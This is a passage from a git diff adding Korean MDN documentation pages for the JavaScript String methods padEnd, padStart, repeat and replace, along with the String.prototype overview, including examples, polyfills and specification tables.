+<p>끝부터 주어진 문자열로 채워 목표 길이를 만족하는 {{jsxref("String")}}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">'abc'.padEnd(10);          // "abc       "
+'abc'.padEnd(10, "foo");   // "abcfoofoof"
+'abc'.padEnd(6, "123456"); // "abc123"
+'abc'.padEnd(1);           // "abc"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>String.prototype.padStart()</code> 메서드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
+// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padEnd
+if (!String.prototype.padEnd) {
+    String.prototype.padEnd = function padEnd(targetLength,padString) {
+        targetLength = targetLength&gt;&gt;0; //floor if number or convert non-number to 0;
+        padString = String((typeof padString !== 'undefined' ? padString : ' '));
+        if (this.length &gt; targetLength) {
+            return String(this);
+        }
+        else {
+            targetLength = targetLength-this.length;
+            if (targetLength &gt; padString.length) {
+                padString += padString.repeat(targetLength/padString.length); //append to original to ensure we are longer than needed
+            }
+            return String(this) + padString.slice(0,targetLength);
+        }
+    };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ECMAScript 2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.padEnd")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padStart()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/padstart/index.html b/files/ko/web/javascript/reference/global_objects/string/padstart/index.html
new file mode 100644
index 0000000000..eff03dd4ac
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/padstart/index.html
@@ -0,0 +1,104 @@
+---
+title: String.prototype.padStart()
+slug: Web/JavaScript/Reference/Global_Objects/String/padStart
+tags:
+  - JavaScript
+  - Method
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>padStart()</code></strong> 메서드는 현재 문자열의 시작을 다른 문자열로 채워, 주어진 길이를 만족하는 새로운 문자열을 반환합니다. 채워넣기는 대상 문자열의 시작(좌측)부터 적용됩니다.</p>
+
+<p> </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-padstart.html")}}</div>
+
+
+
+<p> </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.padStart(<var>targetLength</var> [, <var>padString</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>targetLength</code></dt>
+ <dd>목표 문자열 길이. 현재 문자열의 길이보다 작다면 채워넣지 않고 그대로 반환.</dd>
+ <dt><code>padString</code> {{optional_inline}}</dt>
+ <dd>현재 문자열에 채워넣을 다른 문자열. 문자열이 너무 길어 목표 문자열 길이를 초과한다면 좌측 일부를 잘라서 넣음. 기본값은 " ". (U+0020)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>시작점부터 주어진 문자열로 채워 목표 길이를 만족하는 {{jsxref("String")}}.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">'abc'.padStart(10);         // "       abc"
+'abc'.padStart(10, "foo");  // "foofoofabc"
+'abc'.padStart(6,"123465"); // "123abc"
+'abc'.padStart(8, "0");     // "00000abc"
+'abc'.padStart(1);          // "abc"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <code>String.prototype.padStart()</code> 메서드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// https://github.com/uxitten/polyfill/blob/master/string.polyfill.js
+// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart
+if (!String.prototype.padStart) {
+    String.prototype.padStart = function padStart(targetLength,padString) {
+        targetLength = targetLength&gt;&gt;0; //truncate if number or convert non-number to 0;
+        padString = String((typeof padString !== 'undefined' ? padString : ' '));
+        if (this.length &gt; targetLength) {
+            return String(this);
+        }
+        else {
+            targetLength = targetLength-this.length;
+            if (targetLength &gt; padString.length) {
+                padString += padString.repeat(targetLength/padString.length); //append to original to ensure we are longer than needed
+            }
+            return padString.slice(0,targetLength) + String(this);
+        }
+    };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ECMAScript 2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.padStart")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.padEnd()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/prototype/index.html b/files/ko/web/javascript/reference/global_objects/string/prototype/index.html
new file mode 100644
index 0000000000..707680d3c4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: String.prototype
+slug: Web/JavaScript/Reference/Global_Objects/String/prototype
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p><strong><code>String.prototype</code></strong> 프라퍼티는 {{jsxref("Global_Objects/String", "String")}} 프로토타입 오브젝트를 표현하고 있습니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>모든 {{jsxref("Global_Objects/String", "String")}} 인스턴스들은 <code>String.prototype</code>를 상속합니다. <code>String</code> 프라퍼티 오브젝트를 변경하면, 그 변경은 모든 {{jsxref("Global_Objects/String", "String")}} 인스턴스들에 영향을 주게 됩니다.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt><code>String.prototype.constructor</code></dt>
+ <dd>오브젝트의 프로토타입을 생성하는 함수를 명세합니다.</dd>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>문자열의 길이를 반영합니다.</dd>
+ <dt><code><em>N</em></code></dt>
+ <dd><em>N</em>번째 위치에 있는 문자에 접근하기 위해 사용합니다.  <em>N</em> 은 0과 {{jsxref("String.length", "length")}}보다 작은 값 사이에 있는 양의 정수입니다. 이 퍼라퍼티들은 읽기 전용(read-only) 속성을 가지고 있습니다. </dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<h3 id="Methods_unrelated_to_HTML" name="Methods_unrelated_to_HTML">HTML과 관련이 없는 메서드</h3>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()")}}</dt>
+ <dd>문자열 내 특정 위치(index)에 있는 문자를 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()")}}</dt>
+ <dd>문자열 내 주어진 위치(index)에 있는 문자의 유니코드 값을 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()")}} {{experimental_inline}}</dt>
+ <dd>주어진 위치에 있는 UTF-16으로 인코딩된 코드 포인터값인 음수가 아닌 정수값을 반환합니다. </dd>
+ <dt>{{jsxref("String.prototype.concat()")}}</dt>
+ <dd>두 문자열의 문자를 합쳐서 새로운 문자열로 만든 다음, 그 새로운 문자열을 반환합니다. </dd>
+ <dt>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>문자열 내에 찾고자 하는 문자열이 있는지를 확인합니다. </dd>
+ <dt>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</dt>
+ <dd>문자열에서 특정 문자열로 끝나는지를 확인할 수 있습니다.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()")}}</dt>
+ <dd>{{jsxref("Global_Objects/String", "String")}} 오브젝트에 있는 특정 값이 일치하는 첫 번째 인덱스 값을 반환하며, 일치하는 값이 없을 경우에는 -1을 반환합니다.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String" title="String 글로벌 오브젝트는 문자열의 생성자, 또는 문자열의 순서입니다."><code>String</code></a> 오브젝트에서 <code>fromIndex</code>로부터 반대방향으로 찾기 시작하여 특정 값이 일치하는 마지막 인덱스를 반환합니다. 문자열에서 일치하는 특정 값이 없으면 <code>-1</code>을 리턴합니다.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()")}}</dt>
+ <dd>Returns a number indicating whether a reference string comes before or after or is the same as the given string in sort order.</dd>
+ <dt>{{jsxref("String.prototype.match()")}}</dt>
+ <dd>Used to match a regular expression against a string.</dd>
+ <dt>{{jsxref("String.prototype.normalize()")}} {{experimental_inline}}</dt>
+ <dd>Returns the Unicode Normalization Form of the calling string value.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Wraps the string in double quotes ("<code>"</code>").</s></dd>
+ <dt>{{jsxref("String.prototype.repeat()")}} {{experimental_inline}}</dt>
+ <dd>Returns a string consisting of the elements of the object repeated the given times.</dd>
+ <dt>{{jsxref("String.prototype.replace()")}}</dt>
+ <dd>Used to find a match between a regular expression and a string, and to replace the matched substring with a new substring.</dd>
+ <dt>{{jsxref("String.prototype.search()")}}</dt>
+ <dd>Executes the search for a match between a regular expression and a specified string.</dd>
+ <dt>{{jsxref("String.prototype.slice()")}}</dt>
+ <dd>Extracts a section of a string and returns a new string.</dd>
+ <dt>{{jsxref("String.prototype.split()")}}</dt>
+ <dd>Splits a {{jsxref("Global_Objects/String", "String")}} object into an array of strings by separating the string into substrings.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a string begins with the characters of another string.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Returns the characters in a string beginning at the specified location through the specified number of characters.</dd>
+ <dt>{{jsxref("String.prototype.substring()")}}</dt>
+ <dd>Returns the characters in a string between two indexes into the string.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()")}}</dt>
+ <dd>The characters within a string are converted to lower case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()")}}</dt>
+ <dd>The characters within a string are converted to upper case while respecting the current locale. For most languages, this will return the same as {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Returns the calling string value converted to lower case.</dd>
+ <dt>{{jsxref("String.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an object literal representing the specified object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the specified object. Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Returns the calling string value converted to uppercase.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Trims whitespace from the beginning and end of the string. Part of the ECMAScript 5 standard.</dd>
+ <dt>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the left side of the string.</dd>
+ <dt>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</dt>
+ <dd>Trims whitespace from the right side of the string.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of the specified object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}} {{experimental_inline}}</dt>
+ <dd>Returns a new <code>Iterator</code> object that iterates over the code points of a String value, returning each code point as a String value.</dd>
+</dl>
+
+<h3 id="HTML_wrapper_methods" name="HTML_wrapper_methods">HTML wrapper methods</h3>
+
+<p>These methods are of limited use, as they provide only a subset of the available HTML tags and attributes.</p>
+
+<dl>
+ <dt>{{jsxref("String.prototype.big()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"rul\"&gt;")}} (link to URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/repeat/index.html b/files/ko/web/javascript/reference/global_objects/string/repeat/index.html
new file mode 100644
index 0000000000..8e1d67988b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/repeat/index.html
@@ -0,0 +1,113 @@
+---
+title: String.prototype.repeat()
+slug: Web/JavaScript/Reference/Global_Objects/String/repeat
+translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>repeat()</code></strong> 메서드는 문자열을 주어진 횟수만큼 반복해 붙인 새로운 문자열을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre><code><var>str</var>.repeat(<var>count</var>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>count</code></dt>
+ <dd>문자열을 반복할 횟수. 0과 양의 무한대 사이의 정수([0, +∞)).</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>현재 문자열을 주어진 횟수만큼 반복해 붙인 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{jsxref("Errors/Negative_repetition_count", "RangeError")}}: 반복 횟수는 양의 정수여야 함.</li>
+ <li>{{jsxref("Errors/Resulting_string_too_large", "RangeError")}}: 반복 횟수는 무한대보다 작아야 하며, 최대 문자열 크기를 넘어선 안됨.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">'abc'.repeat(-1);   // RangeError
+'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+'abc'.repeat(1/0);  // RangeError
+
+({ toString: () =&gt; 'abc', repeat: String.prototype.repeat }).repeat(2);
+// 'abcabc' (repeat() is a generic method)
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>repeat</code>은 ECMAScript 2015 명세에 추가됐습니다. 따라서 어떤 표준 구현체에서는 사용할 수 없을 수도 있습니다. 그러나 아래 코드를 포함하면 지원하지 않는 플랫폼에서도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">repeat</span></font>을 사용할 수 있습니다.</p>
+
+<pre dir="rtl"><code>if (!String.prototype.repeat) {
+  String.prototype.repeat = function(count) {
+    'use strict';
+    if (this == null) {
+      throw new TypeError('can\'t convert ' + this + ' to object');
+    }
+    var str = '' + this;
+    count = +count;
+    if (count != count) {
+      count = 0;
+    }
+    if (count &lt; 0) {
+      throw new RangeError('repeat count must be non-negative');
+    }
+    if (count == Infinity) {
+      throw new RangeError('repeat count must be less than infinity');
+    }
+    count = Math.floor(count);
+    if (str.length == 0 || count == 0) {
+      return '';
+    }
+    // Ensuring count is a 31-bit integer allows us to heavily optimize the
+    // main part. But anyway, most current (August 2014) browsers can't handle
+    // strings 1 &lt;&lt; 28 chars or longer, so:
+    if (str.length * count &gt;= 1 &lt;&lt; 28) {
+      throw new RangeError('repeat count must not overflow maximum string size');
+    }
+    var maxCount = str.length * count;
+    count = Math.floor(Math.log(count) / Math.log(2));
+    while (count) {
+       str += str;
+       count--;
+    }
+    str += str.substring(0, maxCount - str.length);
+    return str;
+  }
+}</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.repeat")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/string/replace/index.html b/files/ko/web/javascript/reference/global_objects/string/replace/index.html
new file mode 100644
index 0000000000..3b189bfbf5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/replace/index.html
@@ -0,0 +1,299 @@
+---
+title: String.prototype.replace()
+slug: Web/JavaScript/Reference/Global_Objects/String/replace
+translation_of: Web/JavaScript/Reference/Global_Objects/String/replace
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>replace()</code></strong> 메서드는 어떤 패턴에 일치하는 일부 또는 모든 부분이 교체된 새로운 문자열을 반환합니다. 그 패턴은 문자열이나 정규식({{jsxref("RegExp")}})이 될 수 있으며, 교체 문자열은 문자열이나 모든 매치에 대해서 호출된 함수일 수 있습니다.</p>
+
+<p> </p>
+
+<p>pattern이 문자열 인 경우, 첫 번째 문자열만 치환이 되며 원래 문자열은 변경되지 않습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-replace.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre><code>var newStr = str.replace(regexp|substr, newSubstr|function)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code> (pattern)</dt>
+ <dd>정규식({{jsxref ( "RegExp")}}) 객체 또는 리터럴. 일치하는 항목은 <code>newSubStr</code> 또는 지정된 함수(<code>function</code>)가 반환 한 값으로 대체됩니다.</dd>
+ <dt><code>substr</code> (pattern)</dt>
+ <dd><code>newSubStr</code>로 대체 될 {{jsxref ( "String")}}. 정규식이 아닌 글자 그대로의 문자열로 처리됩니다. 오직 첫 번째 일치되는 문자열만이 교체됩니다.</dd>
+ <dt><code>newSubStr</code> (replacement)</dt>
+ <dd>첫번째 파라미터를 대신할 문자열({{jsxref("String")}}). 여러가지 대체 패턴들이 지원됩니다. 아래의 "<a href="#Specifying_a_string_as_a_parameter">매개변수가 <code>string</code>으로 지정되었을 때</a>" 섹션을 참고하세요.</dd>
+ <dt><code>function</code> (replacement)</dt>
+ <dd>주어진 <code>regexp</code> 또는 <code>substr</code>에 일치하는 요소를 대체하는 데 사용될 새 하위 문자열을 생성하기 위해 호출되는 함수. 이 함수에 제공되는 인수는 아래 "<a href="#Specifying_a_function_as_a_parameter">매개변수가 <code>function</code>으로 지정되었을 때</a>"단원에서 설명합니다.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>어떤 패턴에 일치하는 일부 또는 모든 부분이 교체된 새로운 문자열</p>
+
+<h2 id="설명">설명</h2>
+
+<p>이 메서드는 호출된 {{jsxref("String")}} 객체를 바꾸지 않습니다. 단순히 새로운 문자열을 리턴합니다.</p>
+
+<p>모든 문자열에 대해 검색하고 바꾸려면 정규표현식의 <code>g</code>플래그를 포함하세요.</p>
+
+<h3 id="매개변수가_string으로_지정되었을_때">매개변수가 <code>string</code>으로 지정되었을 때</h3>
+
+<p><code>replacement</code> 문자열은 다음과 같은 특수 교체 패턴을 포함할 수 있습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Pattern</td>
+   <td class="header">Inserts</td>
+  </tr>
+  <tr>
+   <td><code>$$</code></td>
+   <td> "<code>$</code>" 기호를 삽입합니다.</td>
+  </tr>
+  <tr>
+   <td><code>$&amp;</code></td>
+   <td>매치된 문자열을 삽입합니다.</td>
+  </tr>
+  <tr>
+   <td><code>$`</code></td>
+   <td>매치된 문자열 앞쪽까지의 문자열을 삽입합니다.</td>
+  </tr>
+  <tr>
+   <td><code>$'</code></td>
+   <td>매치된 문자열의 문자열을 삽입합니다.</td>
+  </tr>
+  <tr>
+   <td><code>$<em>n</em></code></td>
+   <td>
+    <p><em><code>n</code></em>이 1이상 99이하의 정수라면, 첫번째 매개변수로 넘겨진 {{jsxref("RegExp")}}객체에서 소괄호로 묶인 <em><code>n</code></em>번째의 부분 표현식으로 매치된 문자열을 삽입합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="매개변수가_function으로_지정되었을_때">매개변수가 <code>function</code>으로 지정되었을 때</h3>
+
+<p>두번째 매개변수로 함수를 지정할 수 있습니다. 이 경우, 함수는 정규표현식 매치가 수행된 후 호출될 것입니다. 함수의 반환값은 교체될 문자열이 됩니다. (참고: 윗쪽에서 언급된 특수 교체 패턴은 반환값에 <em>적용되지 않습니다.</em>) 만약 정규표현식의 플래그로 글로벌(<code>g</code>)이 오는 경우, 함수는 매치될 때마다 계속 호출될 것입니다. </p>
+
+<p>함수의 매개변수들은 다음과 같습니다.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Possible name</td>
+   <td class="header">Supplied value</td>
+  </tr>
+  <tr>
+   <td><code>match</code></td>
+   <td>매치된 문자열. (윗쪽의 <code>$&amp; </code>표현식으로 매치된 경우와 동일합니다.)</td>
+  </tr>
+  <tr>
+   <td><code>p1,<br>
+    p2,<br>
+    ...</code></td>
+   <td>윗쪽의 $n 표현식과 동일합니다. (<code>$1</code>은 <code>p1</code>, <code>$2</code>는 <code>p2</code>...) 예를 들어, 만약 정규표현식 <code>/(\a+)(\b+)/</code> 이 주어진다면<code><font face="Open Sans, Arial, sans-serif"> </font></code><code>p1</code>은 <code>\a+</code>와 매치되고 <code>p2</code>는 <code>\b+</code>와 매치됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>offset</code></td>
+   <td>조사된 전체 문자열 중에서 매치된 문자열의 <code>index.</code>(예를 들어, 조사될 전체 문자열이 <code>abcd</code>이고, 매치된 문자열이 <code>bc</code>면 이 매개변수의 값은 1이 됩니다.)</td>
+  </tr>
+  <tr>
+   <td><code>string</code></td>
+   <td>조사된 전체 문자열 (<code>replace</code>를 호출한 <code>string</code>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>인수의 정확한 수는 첫 번째 인수가 {{jsxref ( "RegExp")}} 객체인지 아닌지에 따라 다르며, 소괄호로 묶이는 부분표현식의 갯수에 따라 달라집니다.</p>
+
+<p> </p>
+
+<p>다음 예제는 <code>newString</code>을 <code>'abc - 12345 - #$*%'</code>로 교체합니다:</p>
+
+<pre><code>function replacer(match, p1, p2, p3, offset, string) {
+  // p1 is nondigits, p2 digits, and p3 non-alphanumerics
+  return [p1, p2, p3].join(' - ');
+}
+var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer);
+console.log(newString);  // abc - 12345 - #$*%</code></pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="replace()의_정규표현식_정의"><code>replace()</code>의 정규표현식 정의</h3>
+
+<p>다음 예제에서, 대소문자를 구분하지 않는 정규표현식을 <code>replace()</code>에 정의했습니다.</p>
+
+<pre class="brush: js">var str = 'Twas the night before Xmas...';
+var newstr = str.replace(/xmas/i, 'Christmas');
+console.log(newstr);  // Twas the night before Christmas...
+</pre>
+
+<p>'Twas the night before Christmas...'로 출력됩니다.</p>
+
+<h3 id="global과_ignore를_사용한_replace()"><code>global</code>과 <code>ignore</code>를 사용한 <code>replace()</code></h3>
+
+<p>Global replace는 정규식으로만 수행 할 수 있습니다. 다음 예제에서 정규 표현식은 replace()가 'apples'를 'oranges'로 바꿀 수 있도록 global 및 ignore case 플래그를 포함합니다.</p>
+
+<pre class="brush: js">var re = /apples/gi;
+var str = 'Apples are round, and apples are juicy.';
+var newstr = str.replace(re, 'oranges');
+console.log(newstr);  // oranges are round, and oranges are juicy.
+</pre>
+
+<p>'오렌지는 둥글고 오렌지는 맛있습니다.' 가 출력됩니다.</p>
+
+<p> </p>
+
+<h3 id="문자열의_단어_치환">문자열의 단어 치환</h3>
+
